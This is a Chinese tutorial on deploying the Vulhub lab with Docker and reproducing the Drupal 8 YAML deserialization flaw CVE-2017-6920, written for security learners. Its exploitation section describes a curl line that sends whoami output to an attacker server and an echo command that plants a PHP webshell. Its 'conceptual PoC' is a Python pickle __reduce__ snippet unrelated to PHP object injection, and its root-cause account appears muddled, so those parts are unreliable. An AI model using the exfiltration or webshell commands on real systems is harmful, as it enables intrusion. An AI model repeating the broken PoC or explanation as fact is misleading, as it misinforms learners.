Vulhub漏洞靶场实战:从Docker部署到CVE-2017-6920漏洞复现
1. 项目概述:为什么我们需要一个本地化的漏洞靶场
在网络安全的学习和实践中,直接在生产环境或互联网上寻找漏洞进行测试是绝对禁止且违法的。这就催生了一个核心需求:我们需要一个安全、可控、可复现的环境来练习渗透测试技术、研究漏洞原理。Vulhub正是为解决这个问题而生的一个开源漏洞靶场集合。它基于Docker容器技术,将一个个真实存在的、影响广泛的CVE(公共漏洞与暴露)漏洞环境打包成独立的、一键启动的容器。对于安全研究员、渗透测试工程师甚至是开发人员来说,Vulhub就像是一个“漏洞博物馆”和“实战训练场”。
我最初接触Vulhub是为了复现一个经典的PHP对象注入漏洞(CVE-2017-6920),它影响Drupal 8.x版本。当时,我需要一个能快速搭建、用完即抛的环境,来验证漏洞利用链、编写检测脚本,并理解其修复方案。手动搭建一个完整的Drupal 8环境并配置漏洞版本,不仅步骤繁琐,还容易因为环境差异导致复现失败。Vulhub完美解决了这个问题,它提供了一个与官方漏洞描述几乎完全一致的“标本”环境。通过这个项目,你不仅能学会如何搭建和使用Vulhub这个强大的工具,更能深入一个具体漏洞(CVE-2017-6920)的复现全过程,从环境启动、漏洞分析到最终利用,获得一手实战经验。无论你是刚入门的安全爱好者,还是想系统化练习的从业者,这篇文章都将提供一份详尽的指南。
2. 环境准备与Vulhub的部署
在开始漏洞复现之前,一个稳定、隔离的基础环境是首要条件。我强烈建议使用虚拟机来承载整个实验,这能确保你的宿主机(日常使用的电脑)绝对安全,避免因实验操作不当导致系统被意外入侵或污染。
2.1 虚拟机与Linux系统选择
我的选择是使用VMware Workstation或VirtualBox创建一台全新的Linux虚拟机。在Linux发行版的选择上,Ubuntu Server LTS版本(如20.04或22.04)是首选。原因在于其广泛的社区支持、稳定的软件源以及Vulhub官方文档通常以其为例进行说明,可以减少很多兼容性问题。为虚拟机分配至少2核CPU、4GB内存和30GB硬盘空间是较为充裕的配置,能确保Docker和多个靶场容器流畅运行。
安装完成后,第一件事是更新系统并安装必要的依赖包。通过SSH连接到虚拟机进行操作是更高效的方式。
sudo apt update && sudo apt upgrade -y sudo apt install -y curl wget git vim2.2 Docker与Docker Compose的安装与配置
Vulhub的核心依赖是Docker和Docker Compose。Docker负责创建独立的容器环境,而Docker Compose则用于定义和运行多容器的应用,Vulhub中的每个靶场都是一个docker-compose.yml文件。
安装Docker Engine:官方提供了便捷的安装脚本,但为了可控性,我更喜欢使用APT仓库安装。
# 卸载旧版本(如有) sudo apt remove docker docker-engine docker.io containerd runc # 安装依赖,允许APT通过HTTPS使用仓库 sudo apt install -y ca-certificates curl gnupg lsb-release # 添加Docker官方GPG密钥 sudo mkdir -p /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg # 设置稳定版仓库 echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null # 安装Docker引擎 sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin安装Docker Compose(独立版本):虽然Docker现在包含了docker compose插件,但为了兼容性(部分老教程或脚本可能使用docker-compose命令),建议也安装独立版本。
# 下载最新稳定版的Docker Compose二进制文件 sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # 赋予执行权限 sudo chmod +x /usr/local/bin/docker-compose # 验证安装 docker-compose --version配置非root用户运行Docker(重要安全与实践习惯):默认情况下,运行Docker命令需要sudo权限。将当前用户加入docker组可以免去每次都输入sudo的麻烦。
sudo groupadd docker # 如果docker组已存在,此命令会提示,可忽略 sudo usermod -aG docker $USER执行此命令后,必须完全注销并重新登录虚拟机,或者重启虚拟机,用户组更改才会生效。之后,你就可以直接使用docker ps等命令了。
注意:将用户加入
docker组等同于赋予了该用户root权限,因为Docker可以挂载宿主机目录、操作内核特性。因此,请仅在受信任的、用于实验的虚拟机上进行此操作。
2.3 获取与部署Vulhub
环境就绪后,获取Vulhub就非常简单了,它本身就是一个Git仓库。
# 克隆Vulhub仓库到本地,这个过程可能会稍长,因为仓库包含了很多漏洞环境的文件 git clone https://github.com/vulhub/vulhub.git cd vulhub进入vulhub目录,你会看到大量以漏洞软件或CVE编号命名的文件夹,每个文件夹就是一个独立的漏洞环境。
3. Vulhub基础操作与靶场管理
成功部署Vulhub后,掌握其基本操作流程是高效利用它的关键。整个流程可以概括为:寻找靶场 -> 启动靶场 -> 访问测试 -> 关闭清理。
3.1 靶场目录结构与寻找目标
Vulhub的目录结构非常直观。所有漏洞环境按字母顺序或软件分类排列在主目录下。例如,我们要复现的Drupal CVE-2017-6920漏洞,其路径通常为/drupal/CVE-2017-6920。如果你不确定漏洞的具体路径,可以使用find命令或ls结合grep进行搜索。
# 进入Vulhub根目录 cd vulhub # 方法一:使用find命令精确查找 find . -type d -name "*CVE-2017-6920*" # 方法二:浏览大致分类,Drupal相关漏洞一般在/drupal目录下 ls -la drupal/进入目标漏洞目录后,你会看到几个关键文件:
docker-compose.yml: 核心配置文件,定义了服务(如Web服务器、数据库)、镜像、端口映射、环境变量等。README.md: 通常包含了漏洞简介、影响版本、启动方式、访问地址和简单的复现步骤。这是你第一个要仔细阅读的文件。- 其他文件:可能包含漏洞利用脚本(
exp.py)、自定义的Dockerfile或应用源码。
3.2 启动、停止与销毁靶场环境
Vulhub通过Docker Compose管理生命周期,命令都在具体的漏洞环境目录下执行。
启动环境:这是最常用的一步。docker-compose up命令会读取当前目录的docker-compose.yml文件,拉取所需的Docker镜像(如果本地没有),然后创建并启动容器。
# 进入目标漏洞目录 cd drupal/CVE-2017-6920 # 启动服务。 -d 参数表示“后台运行”(detached mode),这样命令行不会阻塞。 docker-compose up -d执行后,你会看到Docker开始拉取镜像(如php:5.6-apache,mariadb:10等)并启动容器。当命令执行完毕,环境就在后台运行了。
查看环境状态:启动后,如何确认服务是否正常?
# 查看由当前docker-compose.yml管理的容器状态 docker-compose ps # 或者使用通用的docker命令查看所有运行中的容器 docker psdocker-compose ps的输出会更清晰,它会显示容器名称、状态以及端口映射关系。例如,你可能会看到80/tcp -> 0.0.0.0:8080,这意味着容器的80端口映射到了你虚拟机的8080端口。
停止与销毁环境:实验完成后,为了释放资源,需要关闭环境。这里有不同级别的命令:
# 停止运行容器,但保留容器和数据卷。下次可以快速启动。 docker-compose stop # 停止并移除容器、网络,但保留数据卷和镜像。这是最常用的“重置”命令。 docker-compose down # 停止并移除容器、网络、数据卷,但保留镜像。 docker-compose down -v # 停止并移除一切相关的资源(容器、网络、数据卷、镜像)。相当于完全重置到这个目录的初始状态。 docker-compose down --rmi all -v实操心得:在日常练习中,我通常使用
docker-compose down。它移除了容器,但保留了数据卷(Volume),这样下次up时,数据库里的数据(如已创建的用户、文章)可能还在,方便进行连续性的测试。而docker-compose down -v则会清空所有数据,每次启动都是一个纯净的全新环境,适合需要绝对干净环境的漏洞复现。请根据你的需求选择。
3.3 访问靶场与信息获取
环境启动后,你需要知道如何访问它。端口映射信息可以通过docker-compose ps或docker port <container_name>查看。通常,Vulhub的Web类靶场会将容器内的80端口映射到宿主机的某个高端口(如8080, 8081)。
假设映射是0.0.0.0:8080->80/tcp,那么访问方式如下:
- 在虚拟机本机:打开浏览器,访问
http://localhost:8080 - 在宿主机(你的物理机):需要知道虚拟机的IP地址。使用
ip addr show或ifconfig查看虚拟机的IP(通常是192.168.xxx.xxx或10.0.xxx.xxx),然后在宿主机浏览器访问http://<虚拟机IP>:8080
每个漏洞环境的README.md里通常会明确给出访问地址,例如http://your-ip:8080,请务必以该文件为准。
4. CVE-2017-6920漏洞深度解析与复现实战
现在,我们以Drupal的CVE-2017-6920漏洞为例,进行一场完整的漏洞复现实战。这个漏洞是Drupal 8.x系列中一个高危的远程代码执行漏洞,源于对YAML解析器的错误配置。
4.1 漏洞背景与原理剖析
Drupal是一个强大的开源内容管理框架。在Drupal 8中,它使用Symfony框架的YAML组件来解析配置文件。YAML是一种易读的数据序列化格式,但它有一个危险特性:如果解析器允许执行特定的PHP对象序列化函数(如!!php/object),攻击者就可能注入恶意对象,在反序列化时触发代码执行。
CVE-2017-6920的核心问题在于,Drupal 8.3.x及之前版本中,处理模块配置表单数据时,错误地使用了不安全的YAML解析方式。具体来说,在core/lib/Drupal/Component/Serialization/YamlPecl.php和YamlSymfony.php中,默认的Yaml::parse()方法在某些配置下(当Pecl YAML扩展未安装时,Symfony的解析器会启用!php/object标签支持)未能正确禁用对象反序列化功能。
攻击链可以简化为:攻击者找到一个可以提交YAML格式配置的地方(例如,某些模块的配置表单)-> 提交包含恶意序列化对象的YAML数据 -> Drupal后端使用不安全的Yaml::parse()进行解析 -> 触发PHP对象反序列化 -> 执行攻击者定义的__destruct()或__wakeup()魔术方法中的恶意代码,最终实现远程代码执行。
4.2 靶场环境启动与初步访问
首先,我们进入漏洞环境目录并启动它。
cd vulhub/drupal/CVE-2017-6920 docker-compose up -d使用docker-compose ps查看,确认容器已运行,并记下端口映射,例如0.0.0.0:8080->80/tcp。
在浏览器中访问http://<your-vm-ip>:8080。你会看到Drupal 8的安装界面。是的,Vulhub提供的这个环境是一个未安装的Drupal,这更贴近真实场景。我们需要先完成安装。
- 选择安装语言(English)。
- 选择安装配置文件(Standard)。
- 进入数据库配置页面。这里需要填写数据库信息。这些信息在
docker-compose.yml文件中已经定义好了。通常,Vulhub的Drupal环境使用以下默认配置:- Database name:
drupal - Database username:
root - Database password:
root - Host:
db(这是Docker Compose中数据库服务的服务名,Docker内部网络会自动解析)
- Database name:
- 填写后,继续安装,设置站点信息、管理员账号(如admin/admin)。等待安装完成。
4.3 漏洞利用过程详解
安装完成后,以管理员(admin)身份登录。漏洞的触发点在于Drupal的“配置同步”功能,或者某些第三方模块的配置表单。这里我们以利用“配置同步”功能为例,这是最经典的利用路径。
步骤一:生成恶意序列化Payload我们不能直接写一个YAML文件,而是需要构造一个能执行命令的PHP对象。网络上已有公开的利用链(PoC)。通常,我们会利用Drupal内部的类,比如GuzzleHttp\Psr7\FnStream类,通过精心构造,使其在反序列化时执行系统命令。
由于手工构造复杂,我们可以使用一个现成的Python脚本来生成Payload。在漏洞目录下,可能已经存在exp.py,如果没有,可以搜索或自己编写一个简化的PoC。以下是一个概念性示例,展示其核心思路:
# 这是一个概念性PoC,实际利用链更复杂,请勿直接运行。 import yaml import base64 # 利用Drupal中存在的类构造恶意对象链(这里用伪代码表示) class MaliciousObject: def __reduce__(self): import os # 定义一个在反序列化时会执行的函数,例如执行 `id` 命令 return (os.system, ('id', )) # 将恶意对象转换为YAML格式,并标记为PHP对象 # 实际有效的Payload需要针对Drupal 8.3.x中可用的具体类进行构造 payload = "!php/object \"O:20:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{...}\"" print(payload)实际上,更可靠的方法是使用安全社区已经验证过的PoC脚本。你可以从可信的漏洞研究平台获取。
步骤二:将Payload植入配置
- 在Drupal后台,访问
管理 -> 配置 -> 开发 -> 配置同步(/admin/config/development/configuration)。 - 选择“单个项目”导出(Export single item)。
- 在“配置类型”中选择一个简单的项,例如“系统动作”(System action)或“视图”(View)。选择后,你会看到该配置的YAML格式内容。
- 关键操作:将YAML内容复制出来,用文本编辑器打开。找到其中某个简单的字符串值,将其替换为我们生成的恶意YAML Payload。注意,要保持YAML的整体结构合法。例如,原本是:
你可能将其篡改为:label: 'Some Label'label: !php/object "O:20:\"GuzzleHttp\\Psr7\\FnStream\":2:{...}" - 将篡改后的完整YAML内容保存为一个文件,例如
malicious_config.yml。
步骤三:导入配置触发漏洞
- 回到“配置同步”页面,切换到“导入”选项卡(Import)。
- 在“配置类型”中选择与你导出时相同的类型。
- 将
malicious_config.yml文件的内容粘贴到“粘贴你的配置”文本框中。 - 点击“导入”。
如果漏洞存在且Payload有效,在导入过程中,Drupal后端在解析YAML时就会触发反序列化操作,执行Payload中嵌入的系统命令。命令执行的结果可能不会直接显示在页面上,但可能会在Drupal日志、服务器进程或通过外带信道(DNS/HTTP请求)体现。
更直接的验证方法(用于学习):为了更直观地看到命令执行效果,攻击者可能会构造一个能回显命令结果的Payload,例如执行curl http://your-attacker-server/?result=$(whoami),将执行结果发送到自己的服务器。或者,在可控环境下,可以尝试执行一个创建Webshell的命令,如echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php,然后访问这个shell文件来验证RCE。
注意事项:在实际复现中,请务必在完全隔离的虚拟机环境中进行。切勿使用此技术测试任何未经授权的系统。生成Payload和利用过程涉及对PHP序列化及Drupal内部类的深入理解,对于初学者,建议先使用社区已验证的、无害的PoC(如执行
echo test)进行验证,理解流程后再研究复杂Payload。
4.4 漏洞修复与影响分析
Drupal官方在收到报告后迅速发布了安全更新(Drupal 8.3.4)。修复方案的核心是强制在YAML解析过程中禁用对象反序列化功能。修补代码显式地传递了禁止对象反序列化的标志给Symfony YAML解析器。
这个漏洞的影响非常严重,因为它允许远程攻击者在未认证的情况下(结合其他利用链)或低权限用户(拥有配置导入权限)完全接管网站服务器。它再次警示了开发中安全配置的重要性,特别是处理用户可控的序列化数据(如YAML、JSON、XML)时,必须严格验证和过滤,禁用危险功能。
5. Vulhub进阶使用技巧与问题排查
掌握了基础复现后,一些进阶技巧和常见问题的解决方法能极大提升你的效率。
5.1 自定义配置与调试技巧
修改端口映射:如果默认的8080端口已被占用,你可以直接编辑漏洞目录下的docker-compose.yml文件。
# 修改前 ports: - "8080:80" # 修改后,例如改为8088端口 ports: - "8088:80"修改后,需要重启环境:docker-compose down && docker-compose up -d。
进入容器内部进行调试:有时为了查看日志、修改文件或进行更深入的调试,需要进入正在运行的容器。
# 首先查看容器名称 docker-compose ps # 假设容器名为 drupalce-2017-6920_web_1 # 使用 exec 命令进入容器内部的bash shell docker-compose exec web bash # 或者使用容器ID/名 docker exec -it drupalce-2017-6920_web_1 /bin/bash进入后,你就像登录了一台独立的Linux服务器,可以查看应用日志(如/var/log/apache2/error.log)、修改代码、安装调试工具等。
查看容器日志:日志是排查问题的第一手资料。
# 查看由docker-compose管理的所有服务的日志 docker-compose logs # 实时跟踪日志输出(类似 tail -f) docker-compose logs -f # 查看特定服务的日志 docker-compose logs web5.2 常见问题与解决方案实录
在长期使用Vulhub的过程中,我积累了一些典型问题的解决方法。
问题1:执行docker-compose up -d时,提示Cannot connect to the Docker daemon。
- 原因:Docker服务未启动,或者当前用户没有加入
docker组。 - 解决:
- 启动Docker服务:
sudo systemctl start docker。 - 将用户加入docker组后,务必注销并重新登录。
- 检查Docker服务状态:
sudo systemctl status docker。
- 启动Docker服务:
问题2:启动靶场时,长时间卡在Pulling镜像阶段,或者拉取失败。
- 原因:网络连接Docker Hub不稳定或速度慢。
- 解决:
- 配置国内镜像加速器。编辑
/etc/docker/daemon.json文件(如果不存在则创建):{ "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "https://hub-mirror.c.163.com" ] } - 重启Docker服务:
sudo systemctl restart docker。 - 再次尝试
docker-compose up -d。
- 配置国内镜像加速器。编辑
问题3:访问http://ip:port时,连接被拒绝或无法访问。
- 原因排查步骤:
- 确认容器是否运行:
docker-compose ps,状态应为Up。 - 确认端口映射:
docker-compose ps或docker port <container_name>,检查宿主机IP和端口是否正确。 - 检查虚拟机防火墙:Ubuntu默认的UFW防火墙可能阻止了端口。可以临时关闭测试:
sudo ufw disable(实验环境可接受,生产环境请谨慎)。或者放行特定端口:sudo ufw allow 8080/tcp。 - 检查宿主机与虚拟机网络:确保宿主机能ping通虚拟机IP。在VMware/VirtualBox中,检查网络适配器设置是否为NAT或桥接模式。
- 确认容器是否运行:
问题4:Drupal安装时数据库连接失败。
- 原因:数据库容器未完全启动,或连接信息错误。
- 解决:
- 确保数据库容器也在运行:
docker-compose ps应看到db服务。 - 检查数据库容器的健康状态:
docker-compose logs db,查看有无错误日志。 - 确认连接参数:主机名(Host)必须填写
db(这是Docker Compose网络中的服务名),而不是localhost或127.0.0.1。用户名、密码、数据库名参考该漏洞目录下docker-compose.yml文件中的environment部分定义。
- 确保数据库容器也在运行:
问题5:漏洞复现失败,没有达到预期效果。
- 原因:可能是Payload构造错误、Drupal版本不对、或利用路径不正确。
- 解决:
- 仔细阅读README.md:Vulhub的README通常提供了已验证的复现步骤或PoC链接。
- 检查Drupal版本:在管理后台报告页面(
/admin/reports/status)确认版本号是否在受影响范围内(Drupal 8.x < 8.3.4)。 - 使用已验证的PoC:从Exploit-DB、GitHub等平台搜索“CVE-2017-6920 PoC”,使用成熟的脚本。
- 开启调试模式:进入Drupal容器,编辑
sites/default/settings.php,设置$config['system.logging']['error_level'] = 'verbose';,并确保$settings['container_yamls'][] = DRUPAL_ROOT . '/sites/development.services.yml';已启用。查看/var/log/apache2/error.log和Drupal的watchdog日志(/admin/reports/dblog),寻找错误信息。 - 简化测试:先尝试一个最简单的Payload,比如只触发一个无害的操作(如写一个测试文件),确认利用链是否通畅。
6. 构建系统化的漏洞研究学习路径
Vulhub不仅仅是一个工具,更是一个体系化的学习平台。如何高效利用它,构建自己的知识体系?
第一步:按漏洞类型分类学习。Vulhub涵盖了Web漏洞(SQLi、XSS、RCE、反序列化)、系统漏洞、中间件漏洞、数据库漏洞等。你可以制定计划,每周攻克一个类型。例如,第一周专门复现Apache Struts2系列漏洞(S2-045, S2-046, S2-048等),理解Java Web框架的漏洞模式。
第二步:从低危到高危,从简单到复杂。不要一开始就挑战最复杂的漏洞。可以从一些经典的、利用步骤简单的漏洞开始,比如PHP反序列化(CVE-2016-7124)、ThinkPHP 5.x RCE等。建立信心和基础操作流程后,再研究需要二进制分析、内存破坏的漏洞。
第三步:结合源码分析与动态调试。Vulhub提供了漏洞应用的源代码(在容器内或通过映射)。在复现时,不要只满足于运行PoC拿到shell。要结合漏洞公告(CVE描述)、修复补丁(Git commit diff),去阅读相关的源代码文件,理解漏洞的根因。对于PHP/Java漏洞,可以尝试在容器内安装Xdebug等调试工具,进行单步跟踪,亲眼看到程序是如何走到漏洞触发点的。
第四步:尝试编写自己的检测脚本或利用工具。在理解原理后,尝试用Python、Go或你熟悉的语言,将手动复现的过程自动化。编写一个简单的漏洞检测脚本,甚至是一个更稳定的利用工具。这个过程能极大地加深你对漏洞细节的理解。
第五步:参与社区与分享。Vulhub是一个开源项目,你可能会在复现过程中发现某个环境配置的小问题,或者README中的笔误。可以向其GitHub仓库提交Issue或Pull Request。将你的复现笔记、分析文章分享到博客或安全社区,与他人交流,能获得更快的成长。
最后,我必须强调法律与道德的底线。所有在Vulhub上的学习与研究,必须严格控制在你自己搭建的本地实验环境中进行。这些技术是一把双刃剑,安全从业者的价值在于利用这些知识去保护系统,而非破坏。保持好奇心,深耕技术,同时时刻怀有对法律的敬畏之心,这样才能在安全的道路上走得更远、更稳。
